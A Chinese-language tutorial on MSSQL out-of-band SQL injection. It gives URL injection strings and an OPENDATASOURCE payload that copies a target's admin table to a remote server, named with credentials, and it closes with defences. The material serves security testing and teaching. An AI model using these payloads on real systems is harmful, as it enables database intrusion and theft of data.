MSSQL反弹注入技术详解

一、技术概述

MSSQL反弹注入是一种特殊的SQL注入技术，通过利用MSSQL的OPENDATASOURCE函数将目标数据库中的数据"反弹"到攻击者控制的远程MSSQL服务器上。这种技术适用于目标数据库无法直接回显数据但允许外连的情况。

二、前置条件

1. 目标数据库为MSSQL
2. 目标服务器允许外连
3. OPENDATASOURCE函数可用
4. 攻击者拥有一个可接收数据的远程MSSQL服务器

三、环境准备

1. 远程MSSQL服务器设置：

   • 创建用于接收数据的表
   • 记录服务器地址、端口、数据库名、用户名和密码
   • 示例：SQL5006.webweb.com,1433，数据库DB_14B3169_lddf，用户DB_14B3169_lddf_admin，密码1232345

2. 目标环境探测：

   • 确认注入点存在
   • 确定字段数量（使用order by和union all）

四、注入步骤详解

1. 确认注入点

http://x.x.x.x/?id=2' and 1=2 union all select null,null,null from admin --

通过修改null数量和表名确认注入点有效性和字段数。

2. 获取表信息

http://x.x.x.x/MSSQL/?id=2' and 1=2 union all select id,null,null from dbo.sysobjects where xtype='U' --

• dbo.sysobjects：系统表，存储所有数据库对象
• xtype='U'：筛选用户自定义表

3. 反弹注入核心语句

;insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14B3169_lddf_admin;pwd=1232345;database=DB_14B3169_lddf').DB_14B3169_lddf.dbo.a select * from admin --

语句解析：

• ;：结束前一条语句
• insert into：将查询结果插入到指定位置
• opendatasource：跨库查询函数
  • 第一个参数：'sqloledb'，指定OLE DB提供程序
  • 第二个参数：连接字符串，包含：
    • server：远程服务器地址和端口
    • uid：用户名
    • pwd：密码
    • database：目标数据库名
• .DB_14B3169_lddf.dbo.a：指定远程数据库中的表（dbo.a）
• select * from admin：从目标数据库查询数据

五、关键函数说明

OPENDATASOURCE函数

语法：

OPENDATASOURCE(provider_name, init_string)

参数：

• provider_name：注册为用于访问数据源的OLE DB提供程序的名称
• init_string：连接字符串，格式为keyword=value对，用分号分隔

六、防御措施

1. 禁用OPENDATASOURCE函数
2. 限制数据库外连
3. 使用参数化查询
4. 最小化数据库账户权限
5. 对用户输入进行严格过滤

七、注意事项

1. 反弹注入需要目标数据库允许外连
2. 确保远程服务器表结构与查询结果匹配
3. 注入前需准确获取字段数量
4. 该技术可能被安全设备检测到异常外连行为

八、扩展应用

1. 结合其他MSSQL函数如OPENROWSET实现类似功能
2. 可用于数据窃取、横向移动等攻击场景
3. 在权限足够时可结合xp_cmdshell执行系统命令

通过掌握MSSQL反弹注入技术，安全测试人员可以更全面地评估数据库安全性，发现潜在的数据泄露风险。